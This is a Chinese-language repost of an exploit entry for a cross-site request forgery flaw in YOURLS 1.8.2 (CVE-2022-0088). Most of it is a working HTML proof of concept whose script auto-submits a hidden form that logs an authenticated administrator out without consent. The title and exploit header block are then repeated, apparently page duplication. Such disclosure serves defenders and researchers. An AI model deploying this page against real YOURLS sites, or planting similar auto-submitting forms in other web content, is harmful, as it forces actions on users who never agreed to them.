YOURLS 1.8.2 CSRF漏洞利用详解

Wed, 03 Dec 2025 02:38:48 +0800

Exploit Title: YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)

Date: 2025-11-25

Exploit Author: CodeSecLab

Vendor Homepage: https://github.com/yourls/yourls/

Software Link: https://github.com/yourls/yourls/

Version: 1.8.2

Tested on: Windows

CVE : CVE-2022-0088

Proof Of Concept

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>
    <form action="http://yourls/admin/index.php" method="GET">
        <input type="hidden" name="action" value="logout">
        <input type="submit" value="Submit CSRF Request">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

当已认证的漏洞应用用户访问此HTML页面时，页面将自动提交一个请求，在不经用户同意的情况下将其登出，从而演示了该CSRF漏洞。

YOURLS on 办公AI智能小助手

YOURLS 1.8.2 CSRF漏洞利用详解

Exploit Title: YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)

Date: 2025-11-25

Exploit Author: CodeSecLab

Vendor Homepage: https://github.com/yourls/yourls/

Software Link: https://github.com/yourls/yourls/

Version: 1.8.2

Tested on: Windows

CVE : CVE-2022-0088

Proof Of Concept